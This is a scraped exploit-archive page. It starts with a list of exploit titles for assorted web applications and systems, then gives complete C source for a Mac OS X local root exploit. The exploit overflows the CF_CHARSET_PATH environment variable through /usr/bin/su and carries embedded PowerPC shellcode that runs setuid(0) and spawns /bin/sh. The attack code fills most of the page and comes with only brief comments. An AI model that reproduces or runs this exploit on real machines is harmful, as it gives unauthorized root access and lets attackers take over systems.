
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
43 lines
1.8 KiB
C
Executable file
43 lines
1.8 KiB
C
Executable file
/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
|
|
* *
|
|
* by: v9@fakehalo.us (fakehalo/realhalo) *
|
|
* *
|
|
* found by: iDefense (anon finder) *
|
|
* *
|
|
* saw the advisory on bugtraq and figured i'd slap this *
|
|
* together, so simple i had to. exploits via the *
|
|
* /usr/bin/su binary. you must press ENTER at the *
|
|
* "Password: " prompt. *
|
|
***********************************************************/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
|
|
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
|
|
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
|
|
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
|
|
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
|
|
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
|
|
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
|
|
"\x2f\x73\x68\x58";
|
|
int main(void){
|
|
unsigned int i=0;
|
|
char *buf,*env[3];
|
|
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
|
|
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
|
|
if(!(buf=(char *)malloc(1100+1)))exit(1);
|
|
memcpy(buf,"CF_CHARSET_PATH=",16);
|
|
printf("[*] setting up the environment.\n");
|
|
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
|
|
env[0]=buf;
|
|
env[1]=exec;
|
|
env[2]=NULL;
|
|
printf("[*] executing su... (press ENTER at the \"Password: \""
|
|
" prompt)\n\n");
|
|
if(execle("/usr/bin/su","su",0,env))
|
|
printf("[!] failed executing /usr/bin/su.\n");
|
|
exit(0);
|
|
}
|
|
|
|
// milw0rm.com [2005-03-22]
|